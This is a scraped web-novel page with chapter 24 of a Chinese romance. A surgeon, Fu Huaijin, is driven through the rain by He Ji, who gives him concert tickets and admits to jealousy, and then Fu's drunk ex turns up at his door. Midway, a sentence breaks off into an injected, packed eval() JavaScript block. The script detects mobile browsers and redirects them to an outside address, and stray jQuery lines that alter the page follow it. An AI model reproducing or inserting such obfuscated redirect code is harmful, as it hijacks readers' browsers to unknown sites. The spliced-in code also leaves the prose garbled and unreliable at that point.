默认冷灰
24号文字
方正启体

24. 第二十四章

作者:三木冬本书字数:K更新时间:
    付淮槿从来没这么心虚过,可实际上他也没说谎,他现在的确要去医院开会。


    “正要过去......”他说。


    贺骥仍然隔着空气里的潮气看他,从他的脸一直看到手里那把折叠伞。


    停了半晌以后道:“我送你。”


    在人反驳之前很快接了句:“下雨天不好开车。”


    两人已经快两周没见过面了,付淮槿先是在他这句话里愣了瞬。


    等他反应过来的时候已经上了贺骥的车。


    瓢泼大雨打在车窗上,哗啦啦地,跟下刀子一样,四周白茫茫一片。


    车的确不好开。


    等最前面的路口拐出去以后,贺骥问他:“这几天都在加班?”


    语气和每次他俩跑步的时候没有任何区别,付淮槿也在他这句话里低叹一声:


    “是啊。”


    又说:“有点累。”


    贺骥往旁边一瞥,温和道:“吃过晚饭了?”


    “还没,一会到医院再吃。”


    “那现在可以先吃点东西垫垫。”贺骥说完以后示意人往后看。


    付淮槿回过头,很快从后面拿到个餐盒。


    餐盒不大,是扁的,打开以后里面的味道很香。


    “油封鸭?”付淮槿微讶。


    是用鸭腿扁出来的油做的封边,外脆里嫩。


    这个他在国外吃过几次,那时候就很喜欢。


    但付淮槿没在车上吃,只是把盖子重新盖起来,用袋子封好揣在手里,笑了下说:


    “这才像是酒馆里会卖的。”


    “本来这些就没有特别规定。”贺骥一手把着方向盘,“要是每家酒馆里的东西都一样,也没什么意思。”


    付淮槿想了想道:“也是......”


    下雨天路上堵车。


    路上随处能听见汽车的鸣笛声。


    付淮槿看着外边连绵的雨,想起之前电话里说的,不禁道:


    “你跟我哥告状了?”


    “是付厂长关心你,我实话实说。”贺骥这句话听不出任何情绪,但能感觉到他表情淡了些:


    “我都以为你相亲去了。”


    “相亲?”付淮槿看他,“那天,你看到我同事去你们酒馆了。”


    “恩,看到了,他们还提到了你。”


    付淮槿:“提我什么了?”


    贺骥把车驶过一个红绿灯,开口说:“说你明明话比以前多了,为什么还不愿意跟他们一起出来喝酒。”


    付淮槿先没吭声,后来在四周的雨声里:


    “没相亲,你知道的,我现在都成这样了,怎么可能还跟女生在一起。”


    “是啊,我知道。”贺骥开的是他自己的车,要比开付淮槿那辆顺手,但也都是很平稳的:


    “但我还是嫉妒。”


    一句话比外面的雨砸到窗户上还要强烈,像是在顶上的乌云中划开道口子。


    付淮槿捏着餐盒的手的下意识收紧,心里突然就有些后悔忽然把这件事提起来。


    路上两人都没说话。


    直到车开进医院。


    “今天怎么会突然过来?”付淮槿问说。


    现在下雨,也不可能跑步了。


    “送票。”贺骥一路把车开到住院部楼下,这里的房檐很深。


    能确保下车的人出门不会淋到雨。


    说着打开车前边的小抽屉,从里边把拿出两张精致的演唱会门票,递给他:“你喜欢的边北。”


    付淮槿先接过来,不太确定问:“两张都给我?”


    这种时候不应该是邀请他一起去听么?


    “你想要一张还是两张?”贺骥却反问。


    付淮槿捏着票没说话。


    贺骥也没继续难为人,适时往后退了一步:“你可以跟你朋友去听。”


    付淮槿放手里看了会,把两张票都收起来,从兜里拿出手机对他:


    “多少钱?我把钱给你。”


    贺骥:“没花钱。”


    头往边上偏,没再看他:“每年主办方都会给歌手留几张票,都是熟人,我请他们喝酒,他们请我听演唱会。”


    付淮槿还是觉得不行,刚准备把刚收好的演唱会票拿出来还给他,对方又道:


    “你要是实在过意不去,酒馆这个月月底有活动,到时候你给我送件回礼吧,这个对我来说比钱更重要。”


    话都说到这个份上,付淮槿原本伸出去的手又收回来。


    “行吧,那到时候我好好挑挑。”他边说边开开车门:“先走了,你开车路上慢点。”


    “好。”贺骥说。


    他们没再说什么。


    从付淮槿的家到医院的这一路上,贺骥没有问付淮槿怎么突然不来跑步,也没提他为什么和同事聚餐的时候不来酒馆。


    最出格的应该就是那句:


    ——但我还是嫉妒。


    出格到付淮槿从住院部大门里进去,脑子里都频繁闪回好几次。


    每闪过一次心脏都跟着颤颤。


    这个点来医院也是因为值班。


    付淮槿一直手术室里忙,十一点才躺在办公室的床上,给于洋打电话。


    于洋听说是边北的演唱会就嚷着一定要来,可是一听到演出时间就觉得头疼:


    “不行啊,那天我有个制药原料的什么展览会,全部搞完再赶过去估计都结束了!”


    付淮槿沉默片刻,问说:“那要不我......你看看你身边有没有人想去听这个的,送给他们听?”


    于洋不同意他说的:“别啊,边北演唱会是出了名的难抢,你这好不容易弄到票了就去听呗!”


    “下次都不知道什么时候再有了。”


    付淮槿顿了下:“我其实......对演唱会也没那么感兴趣,反正都是听歌,在手机里还是哪里听都一样。”


    “怎么能一样呢??”于洋在那边咂吧嘴:“现场的音响、氛围,还有舞台,跟手机里那儿完全没法比!”


    “等你去了以后就知道了。”


    其实付淮槿自己也不是没去听过演唱会。


    刚跟席飞在一起那会,对方就拉着他去听过一场。


    是挺不错的,即便那会付淮槿不认识舞台上的人,在当时的气氛下都会不自觉全情投入。


    身体是跟着旋律流动的,整个人沉浸在里边,特别解压。


    “好吧。”付淮槿说。


    于洋那边像是还有事要忙,两人没说几句话就停了。


    付淮槿又把两张演唱会门票拿手里看。


    是内场票。


    一张票官网显示都要一千五百块钱一张......


    他先在手机购物软件里找,找来找去准备订做一个黄梨木的钟馗醉酒当作回礼。


    放酒馆里很合适。


    付淮槿原来在江大有个学长,之前是学建筑的,现在出来做木雕后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835535|175662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    变得非常有名气,去年校庆的时候付淮槿还见过。


    他这个朋友性子腼腆,进入社会那么多年还像个学生,平常话也少,但是每次发消息过去都回得特别迅速:


    [小帆:没问题的,做好了以后就喊你。]


    [付淮槿:那我先把订金给你。]


    [小帆:不用不用,不用着急的,等我做好了就跟你说!]


    两人读书的时候就认识,付淮槿也没再追问。


    把手机放枕头底下。


    值班的时候医生随时会被喊起来。


    但今晚好像是个意外,付淮槿中途只被叫起来一次,后半夜基本上都是一觉睡到大天亮。


    刚醒手机里就一条消息。


    [贺哥:付医生。]


    多的就没有了。


    付淮槿盯着这三个字看了会,给人回过去。


    [付淮槿:怎么了?]


    那边消息也来的很快。


    [贺哥:想看你有没有拉黑我。]


    他这话付淮槿没法接,也接不住。


    盯着这儿看会干脆就不接了。


    起来以后简单洗了把脸,准备去手术室里做准备。


    上午一台心脏搭桥做得所有人身上都是汗。


    忙完中午以后大伙都去食堂吃饭,张萌萌双手交叉往后抻了下腰,见付淮槿要往楼上走,喊说:


    “老大不去么?”


    “我先回去拿下手机。”付淮槿说。


    但其实去食堂就只需要一张饭卡,付淮槿平常也没有一定要随身带手机的习惯。


    等他回来以后发现手机里一条消息都没有。


    此刻付淮槿说不出自己应该是什么心情,也不明白自己为什么要特意回来一趟。


    在去演唱会之前,付淮槿又躲了贺骥两次。


    说躲也不是刻意的。


    这段时间他确实是太忙了,一天当两天使,贺骥每次问他,问的时候付淮槿人也都刚好就在医院里,腾不出时间。


    到了演唱会的当天晚上。


    付淮槿约了帮他做木雕的岑帆,但后者临了去看一个木雕展,原本飞机是下午就能到的,结果刚好当地下大雨,飞机误点了。


    在机场的时候就打电话不停跟他道歉:


    “对不起啊淮槿,早知道我就订高铁了,我真的没想到飞机会延误。”


    “我明天请你吃饭吧,木雕我已经做好了,到时候带给你......真的真的对不起啊。”


    他身边好像还有别人,在他说这些的时候一直在旁边安慰他。


    付淮槿也赶紧说:“没关系,不是什么大事,安全第一。”


    等说完以后才发现这个时间他得走了,尤其今天周五,那条路上过去肯定堵车。


    付淮槿准备先自己过去,等到了那边再看看另一张票该怎么办。


    结果刚一开门,门口就有人冲进来。


    是几个月没见过的席飞。


    依旧是一头狼尾,但是是松的,乱七八糟的披在那里,衣领那儿全是褶,看上去要多狼狈有多狼狈。


    他喝醉了,从眼尾到脖子都是红的,脸上全是泪水,看到付淮槿的瞬间就把人牢牢抱进自己怀里。


    下巴埋进他肩膀那个窝:


    “淮槿哥。”


    他声音打颤,哭吼的时候特别像只幼兽,全身滚烫的,像是努力抱住支撑他生命中最后那根肋骨:


    “我好想你。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)